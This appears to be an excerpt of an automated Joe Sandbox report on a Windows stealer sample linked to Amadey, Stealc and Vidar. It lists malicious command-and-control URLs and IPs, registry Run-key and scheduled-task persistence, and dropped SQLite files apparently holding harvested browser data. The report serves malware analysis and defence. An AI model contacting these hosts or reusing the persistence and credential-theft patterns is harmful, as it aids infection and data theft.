https://ac.duckduckgo.com/ac/INHIBIT_PERSISTENT_CACHINGLOAD_ANONYMOUS_ALLOW_CLIENT_CERTget	firefox.exe, 0000001E.00000002.3036698382.00000270D6D7B000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://webextensions.settings.services.mozilla.com/v1	firefox.exe, 0000001E.00000002.3041771993.00000270D7A90000.00000002.08000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
http://185.215.113.16/Jo89Ku7d/index.phpv?	axplong.exe, 00000012.00000002.3256607765.000000000121A000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
https://github.com/lit/lit/blob/main/packages/reactive-element/src/decorators/query-all.ts	firefox.exe, 0000001E.00000002.3104091280.00000270E3FF0000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://account.bellmedia.cagetLocalizedFragment/partIndex	firefox.exe, 0000001E.00000002.3066978967.00000270DAF1B000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/firefox-relay-integration	firefox.exe, 0000001E.00000002.3041771993.00000270D7A90000.00000002.08000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
http://85.28.47.31/5499d72b3a3e55be.php;	624f4d727e.exe, 00000018.00000002.2899807297.0000000002621000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://addons.mozilla.org/%LOCALE%/firefox/	firefox.exe, 0000001E.00000002.3041771993.00000270D7A90000.00000002.08000000.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.avito.ru/	firefox.exe, 0000001E.00000002.3078302717.00000270DC7A4000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.3114150940.00001A176F100000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.3113615943.00000EEEADD04000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.3098800866.00000270E226E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.3036698382.00000270D6DE7000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://185.215.113.16/Jo89Ku7d/index.php#	axplong.exe, 00000012.00000002.3256607765.0000000001248000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://spocs.getpocket.com	firefox.exe, 0000001E.00000002.3108461657.00000270E4380000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.3097214328.00000270E2166000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://developers.google.com/safe-browsing/v4/advisory	firefox.exe, 0000001E.00000002.3041771993.00000270D7A90000.00000002.08000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
http://185.215.113.16/Jo89Ku7d/index.phpn?	axplong.exe, 00000012.00000002.3256607765.000000000121A000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
http://pki-crl.symauth.com/ca_732b6ec148d290c0a071efd1dac8e288/LatestCRL.crl07	bdb44f72d9.exe, 00000017.00000002.3246133657.00000000008DC000.00000040.00000001.01000000.00000011.sdmp, bdb44f72d9.exe, 00000017.00000000.2762168634.0000000000B81000.00000080.00000001.01000000.00000011.sdmp, bdb44f72d9.exe, 0000001B.00000002.3245573967.00000000008DC000.00000040.00000001.01000000.00000011.sdmp, bdb44f72d9.exe, 0000001B.00000000.2937508935.0000000000B81000.00000080.00000001.01000000.00000011.sdmp	false	URL Reputation: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
85.28.47.31	unknown	Russian Federation	31643	GES-ASRU	true
185.215.113.19	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true
185.215.113.16	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	false
34.107.221.82	prod.detectportal.prod.cloudops.mozgcp.net	United States	15169	GOOGLEUS	false
35.244.181.201	prod.balrog.prod.cloudops.mozgcp.net	United States	15169	GOOGLEUS	false
34.117.188.166	prod.ads.prod.webservices.mozgcp.net	United States	139070	GOOGLE-AS-APGoogleAsiaPacificPteLtdSG	false
35.190.72.216	prod.classify-client.prod.webservices.mozgcp.net	United States	15169	GOOGLEUS	false
142.250.184.238	youtube-ui.l.google.com	United States	15169	GOOGLEUS	false
34.160.144.191	prod.content-signature-chains.prod.webservices.mozgcp.net	United States	2686	ATGS-MMD-ASUS	false

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	40.0.0 Tourmaline
Analysis ID:	1483400
Start date and time:	2024-07-27 09:24:08 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 11m 15s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	40
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Sample name:	file.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@48/55@23/10
EGA Information:	Successful, ratio: 25%
HCA Information:	Successful, ratio: 61% Number of executed functions: 83 Number of non-executed functions: 114
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WerFault.exe, WMIADAP.exe, SIHClient.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 20.42.73.29, 20.42.65.92, 20.189.173.21, 52.168.117.173
Excluded domains from analysis (whitelisted): onedsblobprdeus16.eastus.cloudapp.azure.com, fs.microsoft.com, slscr.update.microsoft.com, ctldl.windowsupdate.com, detectportal.prod.mozaws.net, aus5.mozilla.org, fe3cr.delivery.mp.microsoft.com, onedsblobprdeus17.eastus.cloudapp.azure.com, ocsp.digicert.com, login.live.com, blobcollector.events.data.trafficmanager.net, onedsblobprdeus15.eastus.cloudapp.azure.com, onedsblobprdwus16.westus.cloudapp.azure.com, umwatson.events.data.microsoft.com, location.services.mozilla.com
Execution Graph export aborted for target RoamingCFCGIIEHIE.exe, PID 1216 because it is empty
Execution Graph export aborted for target userAKKKFBGDHJ.exe, PID 320 because it is empty
Execution Graph export aborted for target explorti.exe, PID 4480 because there are no executed function
Not all processes where analyzed, report is missing behavior information
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing disassembly code.
Report size exceeded maximum capacity and may have missing network information.
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtDeviceIoControlFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryAttributesFile calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
03:25:32	API Interceptor	4x Sleep call for process: WerFault.exe modified
03:26:01	API Interceptor	809x Sleep call for process: explorti.exe modified
03:26:01	API Interceptor	813x Sleep call for process: axplong.exe modified
03:26:43	API Interceptor	38x Sleep call for process: bdb44f72d9.exe modified
09:25:14	Task Scheduler	Run new task: explorti path: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe
09:25:17	Task Scheduler	Run new task: axplong path: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe
09:26:11	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run 624f4d727e.exe C:\Users\user\AppData\Local\Temp\1000016001\624f4d727e.exe
09:26:19	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run bdb44f72d9.exe C:\Users\user\AppData\Local\Temp\1000017001\bdb44f72d9.exe
09:26:27	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run 624f4d727e.exe C:\Users\user\AppData\Local\Temp\1000016001\624f4d727e.exe
09:26:35	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run bdb44f72d9.exe C:\Users\user\AppData\Local\Temp\1000017001\bdb44f72d9.exe

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
85.28.47.31	bz26PMiPmP.exe	Get hash	malicious	Stealc	Browse	85.28.47.31/5499d72b3a3e55be.php
	8NjcvPNvUr.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	85.28.47.31/5499d72b3a3e55be.php
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	85.28.47.31/5499d72b3a3e55be.php
	file.exe	Get hash	malicious	Stealc	Browse	85.28.47.31/5499d72b3a3e55be.php
	file.exe	Get hash	malicious	Amadey, Babadeda, Stealc, Vidar	Browse	85.28.47.31/5499d72b3a3e55be.php
	file.exe	Get hash	malicious	Amadey, Babadeda, RedLine, Stealc, Vidar	Browse	85.28.47.31/5499d72b3a3e55be.php
	joom.exe	Get hash	malicious	Stealc	Browse	85.28.47.31/
	6SoKuOqyNh.exe	Get hash	malicious	Amadey, Babadeda, Stealc, Vidar	Browse	85.28.47.31/5499d72b3a3e55be.php
	CqFFuklrhj.exe	Get hash	malicious	Stealc	Browse	85.28.47.31/5499d72b3a3e55be.php
	file.exe	Get hash	malicious	Amadey, Babadeda, Stealc, Vidar	Browse	85.28.47.31/5499d72b3a3e55be.php
185.215.113.19	f3wrBtIYXx.exe	Get hash	malicious	Amadey	Browse	185.215.113.19/Vi9leo/index.php
	8NjcvPNvUr.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.19/Vi9leo/index.php
	11NdzR12PS.exe	Get hash	malicious	Amadey	Browse	185.215.113.19/Vi9leo/index.php
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.19/Vi9leo/index.php
	setup.exe	Get hash	malicious	Amadey	Browse	185.215.113.19/Vi9leo/index.php
	setup.exe	Get hash	malicious	Amadey	Browse	185.215.113.19/Vi9leo/index.php
	setup.exe	Get hash	malicious	Amadey	Browse	185.215.113.19/Vi9leo/index.php
	file.exe	Get hash	malicious	Amadey, Babadeda, Stealc, Vidar	Browse	185.215.113.19/Vi9leo/index.php
	file.exe	Get hash	malicious	Amadey, Babadeda, RedLine, Stealc, Vidar	Browse	185.215.113.19/Vi9leo/index.php
	6SoKuOqyNh.exe	Get hash	malicious	Amadey, Babadeda, Stealc, Vidar	Browse	185.215.113.19/Vi9leo/index.php

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
contile.services.mozilla.com	8NjcvPNvUr.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	34.117.188.166
	file.exe	Get hash	malicious	Unknown	Browse	34.117.188.166
	file.exe	Get hash	malicious	Unknown	Browse	34.117.188.166
	file.exe	Get hash	malicious	Unknown	Browse	34.117.188.166
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	34.117.188.166
	file.exe	Get hash	malicious	Unknown	Browse	34.117.188.166
	file.exe	Get hash	malicious	Unknown	Browse	34.117.188.166
	file.exe	Get hash	malicious	Unknown	Browse	34.117.188.166
	file.exe	Get hash	malicious	Babadeda	Browse	34.117.188.166
	file.exe	Get hash	malicious	Babadeda	Browse	34.117.188.166
example.org	8NjcvPNvUr.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	93.184.215.14
	file.exe	Get hash	malicious	Unknown	Browse	93.184.215.14
	file.exe	Get hash	malicious	Unknown	Browse	93.184.215.14
	file.exe	Get hash	malicious	Unknown	Browse	93.184.215.14
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	93.184.215.14
	file.exe	Get hash	malicious	Unknown	Browse	93.184.215.14
	file.exe	Get hash	malicious	Unknown	Browse	93.184.215.14
	file.exe	Get hash	malicious	Unknown	Browse	93.184.215.14
	file.exe	Get hash	malicious	Babadeda	Browse	93.184.215.14
	file.exe	Get hash	malicious	Babadeda	Browse	93.184.215.14
ipv4only.arpa	8NjcvPNvUr.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	192.0.0.170
	file.exe	Get hash	malicious	Unknown	Browse	192.0.0.171
	file.exe	Get hash	malicious	Unknown	Browse	192.0.0.170
	file.exe	Get hash	malicious	Unknown	Browse	192.0.0.171
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	192.0.0.171
	file.exe	Get hash	malicious	Unknown	Browse	192.0.0.170
	file.exe	Get hash	malicious	Unknown	Browse	192.0.0.171
	file.exe	Get hash	malicious	Unknown	Browse	192.0.0.170
	file.exe	Get hash	malicious	Babadeda	Browse	192.0.0.171
	file.exe	Get hash	malicious	Babadeda	Browse	192.0.0.171
prod.ads.prod.webservices.mozgcp.net	8NjcvPNvUr.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	34.117.188.166
	file.exe	Get hash	malicious	Unknown	Browse	34.117.188.166
	file.exe	Get hash	malicious	Unknown	Browse	34.117.188.166
	file.exe	Get hash	malicious	Unknown	Browse	34.117.188.166
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	34.117.188.166
	file.exe	Get hash	malicious	Unknown	Browse	34.117.188.166
	file.exe	Get hash	malicious	Unknown	Browse	34.117.188.166
	file.exe	Get hash	malicious	Unknown	Browse	34.117.188.166
	file.exe	Get hash	malicious	Babadeda	Browse	34.117.188.166
	file.exe	Get hash	malicious	Babadeda	Browse	34.117.188.166

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
GOOGLE-AS-APGoogleAsiaPacificPteLtdSG	8NjcvPNvUr.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	34.117.188.166
	file.exe	Get hash	malicious	Unknown	Browse	34.117.188.166
	file.exe	Get hash	malicious	Unknown	Browse	34.117.188.166
	file.exe	Get hash	malicious	Unknown	Browse	34.117.188.166
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	34.117.188.166
	file.exe	Get hash	malicious	Unknown	Browse	34.117.188.166
	engine.ps1	Get hash	malicious	Unknown	Browse	34.117.59.81
	invoker.ps1	Get hash	malicious	Unknown	Browse	34.117.59.81
	tgmes.ps1	Get hash	malicious	Unknown	Browse	34.117.59.81
	x.ps1	Get hash	malicious	Unknown	Browse	34.117.59.81
WHOLESALECONNECTIONSNL	f3wrBtIYXx.exe	Get hash	malicious	Amadey	Browse	185.215.113.19
	8NjcvPNvUr.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.16
	11NdzR12PS.exe	Get hash	malicious	Amadey	Browse	185.215.113.19
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.16
	file.exe	Get hash	malicious	Python Stealer, Amadey, Monster Stealer, RedLine, Stealc, Vidar	Browse	185.215.113.16
	setup.exe	Get hash	malicious	Amadey	Browse	185.215.113.19
	setup.exe	Get hash	malicious	Amadey	Browse	185.215.113.16
	setup.exe	Get hash	malicious	Amadey	Browse	185.215.113.19
	setup.exe	Get hash	malicious	Amadey	Browse	185.215.113.16
	setup.exe	Get hash	malicious	Amadey, SmokeLoader	Browse	185.215.113.16
GES-ASRU	bz26PMiPmP.exe	Get hash	malicious	Stealc	Browse	85.28.47.31
	8NjcvPNvUr.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	85.28.47.31
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	85.28.47.31
	file.exe	Get hash	malicious	Python Stealer, Amadey, Monster Stealer, RedLine, Stealc, Vidar	Browse	85.28.47.70
	file.exe	Get hash	malicious	Stealc	Browse	85.28.47.31
	file.exe	Get hash	malicious	Amadey, Babadeda, Stealc, Vidar	Browse	85.28.47.31
	file.exe	Get hash	malicious	Amadey, Babadeda, RedLine, Stealc, Vidar	Browse	85.28.47.31
	joom.exe	Get hash	malicious	Stealc	Browse	85.28.47.31
	6SoKuOqyNh.exe	Get hash	malicious	Amadey, Babadeda, Stealc, Vidar	Browse	85.28.47.31
	CqFFuklrhj.exe	Get hash	malicious	Stealc	Browse	85.28.47.31
WHOLESALECONNECTIONSNL	f3wrBtIYXx.exe	Get hash	malicious	Amadey	Browse	185.215.113.19
	8NjcvPNvUr.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.16
	11NdzR12PS.exe	Get hash	malicious	Amadey	Browse	185.215.113.19
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.16
	file.exe	Get hash	malicious	Python Stealer, Amadey, Monster Stealer, RedLine, Stealc, Vidar	Browse	185.215.113.16
	setup.exe	Get hash	malicious	Amadey	Browse	185.215.113.19
	setup.exe	Get hash	malicious	Amadey	Browse	185.215.113.16
	setup.exe	Get hash	malicious	Amadey	Browse	185.215.113.19
	setup.exe	Get hash	malicious	Amadey	Browse	185.215.113.16
	setup.exe	Get hash	malicious	Amadey, SmokeLoader	Browse	185.215.113.16

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
fb0aa01abe9d8e4037eb3473ca6e2dca	8NjcvPNvUr.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	35.244.181.201 34.160.144.191
	file.exe	Get hash	malicious	Unknown	Browse	35.244.181.201 34.160.144.191
	file.exe	Get hash	malicious	Unknown	Browse	35.244.181.201 34.160.144.191
	file.exe	Get hash	malicious	Unknown	Browse	35.244.181.201 34.160.144.191
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	35.244.181.201 34.160.144.191
	file.exe	Get hash	malicious	Unknown	Browse	35.244.181.201 34.160.144.191
	file.exe	Get hash	malicious	Unknown	Browse	35.244.181.201 34.160.144.191
	file.exe	Get hash	malicious	Unknown	Browse	35.244.181.201 34.160.144.191
	file.exe	Get hash	malicious	Babadeda	Browse	35.244.181.201 34.160.144.191
	file.exe	Get hash	malicious	Babadeda	Browse	35.244.181.201 34.160.144.191

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\ProgramData\freebl3.dll	8NjcvPNvUr.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Python Stealer, Amadey, Monster Stealer, RedLine, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Babadeda, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Vidar	Browse
	1lKbb2hF7fYToopfpmEvlyRN.exe	Get hash	malicious	LummaC, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Babadeda, RedLine, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Vidar	Browse
	6SoKuOqyNh.exe	Get hash	malicious	Amadey, Babadeda, Stealc, Vidar	Browse
	IRqsWvBBMc.exe	Get hash	malicious	Amadey, Vidar	Browse

Created / dropped Files

C:\ProgramData\AAAAKJKJEBGHJKFHIDGCFCBAKK

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 4, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 4
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.8439810553697228
Encrypted:	false
SSDEEP:	24:TLyAF1kwNbXYFpFNYcw+6UwcQVXH5fBO9p7n52GmCWGf+dyMDCFVE1:TeAFawNLopFgU10XJBOB2Gbf+ba+
MD5:	9D46F142BBCF25D0D495FF1F3A7609D3
SHA1:	629BD8CD800F9D5B078B5779654F7CBFA96D4D4E
SHA-256:	C11B443A512184E82D670BA6F7886E98B03C27CC7A3CEB1D20AD23FCA1DE57DA
SHA-512:	AC90306667AFD38F73F6017543BDBB0B359D79740FA266F587792A94FDD35B54CCE5F6D85D5F6CB7F4344BEDAD9194769ABB3864AAE7D94B4FD6748C31250AC2
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\AFHJJEHIEBKKFIDHDGHJDHIIDB

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 7, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 7
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.6732424250451717
Encrypted:	false
SSDEEP:	24:TLO1nKbXYFpFNYcoqT1kwE6UwpQ9YHVXxZ6HfB:Tq1KLopF+SawLUO1Xj8B
MD5:	CFFF4E2B77FC5A18AB6323AF9BF95339
SHA1:	3AA2C2115A8EB4516049600E8832E9BFFE0C2412
SHA-256:	EC8B67EF7331A87086A6CC085B085A6B7FFFD325E1B3C90BD3B9B1B119F696AE
SHA-512:	0BFDC8D28D09558AA97F4235728AD656FE9F6F2C61DDA2D09B416F89AB60038537B7513B070B907E57032A68B9717F03575DB6778B68386254C8157559A3F1BC
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j...$......g..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\CAKKKFBFIDGDBFHJJEHIDHDAAF

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, user version 75, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 2, database pages 46, cookie 0x26, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	5242880
Entropy (8bit):	0.03859996294213402
Encrypted:	false
SSDEEP:	192:58rJQaXoMXp0VW9FxWHxDSjENbx56p3DisuwAyHI:58r54w0VW3xWdkEFxcp3y/y
MD5:	D2A38A463B7925FE3ABE31ECCCE66ACA
SHA1:	A1824888F9E086439B287DEA497F660F3AA4B397
SHA-256:	474361353F00E89A9ECB246EC4662682392EBAF4F2A4BE9ABB68BBEBE33FA4A0
SHA-512:	62DB46A530D952568EFBFF7796106E860D07754530B724E0392862EF76FDF99043DA9538EC0044323C814DF59802C3BB55454D591362CB9B6E39947D11E981F7
Malicious:	false
Preview:	SQLite format 3......@ ...................&...................K..................................j.....-a>.~...\|0{dz.z.z"y.y3x.xKw.v.u.uGt.t;sAs.q.p.q.p{o.ohn.nem.n,m9l.k.lPj.j.h.h.g.d.c.c6b.b.a.a>..................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\DAEBKKKEHDHDGDGCFBKJEBGIEC

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, user version 12, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 3, database pages 3, cookie 0x1, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	98304
Entropy (8bit):	0.08235737944063153
Encrypted:	false
SSDEEP:	12:DQAsfWk73Fmdmc/OPVJXfPNn43etRRfYR5O8atLqxeYaNcDakMG/lO:DQAsff32mNVpP965Ra8KN0MG/lO
MD5:	369B6DD66F1CAD49D0952C40FEB9AD41
SHA1:	D05B2DE29433FB113EC4C558FF33087ED7481DD4
SHA-256:	14150D582B5321D91BDE0841066312AB3E6673CA51C982922BC293B82527220D
SHA-512:	771054845B27274054B6C73776204C235C46E0C742ECF3E2D9B650772BA5D259C8867B2FA92C3A9413D3E1AD35589D8431AC683DF84A53E13CDE361789045928
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j......}..}...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\FHCGCFHDHIIIDGCAAEGD

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\GCBKFIEBGCAAFIEBFCAE

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	ASCII text, with very long lines (1743), with CRLF line terminators
Category:	dropped
Size (bytes):	9504
Entropy (8bit):	5.512408163813622
Encrypted:	false
SSDEEP:	192:nnPOeRnWYbBp6RJ0aX+H6SEXKxkHWNBw8D4Sl:PeegJUaJHEw90
MD5:	1191AEB8EAFD5B2D5C29DF9B62C45278
SHA1:	584A8B78810AEE6008839EF3F1AC21FD5435B990
SHA-256:	0BF10710C381F5FCF42F9006D252E6CAFD2F18840865804EA93DAA06658F409A
SHA-512:	86FF4292BF8B6433703E4E650B6A4BF12BC203EF4BBBB2BC0EEEA8A3E6CC1967ABF486EEDCE80704D1023C15487CC34B6B319421D73E033D950DBB1724ABADD5
Malicious:	false
Preview:	// Mozilla User Preferences....// DO NOT EDIT THIS FILE...//..// If you make changes to this file while the application is running,..// the changes will be overwritten when the application exits...//..// To change a preference value, you can either:..// - modify it via the UI (e.g. via about:config in the browser); or..// - set it within a user.js file in your profile.....user_pref("app.normandy.first_run", false);..user_pref("app.normandy.migrationsApplied", 12);..user_pref("app.normandy.user_id", "9e34c6e7-cbed-40a0-ba63-35488e171013");..user_pref("app.update.auto.migrated", true);..user_pref("app.update.background.rolledout", true);..user_pref("app.update.lastUpdateTime.browser-cleanup-thumbnails", 0);..user_pref("app.update.lastUpdateTime.recipe-client-addon-run", 1696426836);..user_pref("app.update.lastUpdateTime.region-update-timer", 0);..user_pref("app.update.lastUpdateTime.rs-experiment-loader-timer", 1696426837);..user_pref("app.update.lastUpdateTime.xpi-signature-verification

C:\ProgramData\GIJEBKECBAKFBGDGCBGD

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 25, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	51200
Entropy (8bit):	0.8746135976761988
Encrypted:	false
SSDEEP:	96:O8mmwLCn8MouB6wzFlOqUvJKLReZff44EK:O8yLG7IwRWf4
MD5:	9E68EA772705B5EC0C83C2A97BB26324
SHA1:	243128040256A9112CEAC269D56AD6B21061FF80
SHA-256:	17006E475332B22DB7B337F1CBBA285B3D9D0222FD06809AA8658A8F0E9D96EF
SHA-512:	312484208DC1C35F87629520FD6749B9DDB7D224E802D0420211A7535D911EC1FA0115DC32D8D1C2151CF05D5E15BBECC4BCE58955CFFDE2D6D5216E5F8F3BDF
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\HCAEBFBK

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.136413900497188
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6cV/04:MnlyfnGtxnfVuSVumEHV84
MD5:	429F49156428FD53EB06FC82088FD324
SHA1:	560E48154B4611838CD4E9DF4C14D0F9840F06AF
SHA-256:	9899B501723B97F6943D8FE6ABF06F7FE013B10A17F566BF8EFBF8DCB5C8BFAF
SHA-512:	1D76E844749C4B9566B542ACC49ED07FA844E2AD918393D56C011D430A3676FA5B15B311385F5DA9DD24443ABF06277908618A75664E878F369F68BEBE4CE52F
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\HCGDGIDG

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 8, database pages 89, cookie 0x36, schema 4, UTF-8, version-valid-for 8
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.121297215059106
Encrypted:	false
SSDEEP:	384:72qOB1nxCkvSAELyKOMq+8yC8F/YfU5m+OlT:qq+n0E9ELyKOMq+8y9/Ow
MD5:	D87270D0039ED3A5A72E7082EA71E305
SHA1:	0FBACFA8029B11A5379703ABE7B392C4E46F0BD2
SHA-256:	F142782D1E80D89777EFA82C9969E821768DE3E9713FC7C1A4B26D769818AAAA
SHA-512:	18BB9B498C225385698F623DE06F93F9CFF933FE98A6D70271BC6FA4F866A0763054A4683B54684476894D9991F64CAC6C63A021BDFEB8D493310EF2C779638D
Malicious:	false
Preview:	SQLite format 3......@ .......Y...........6......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

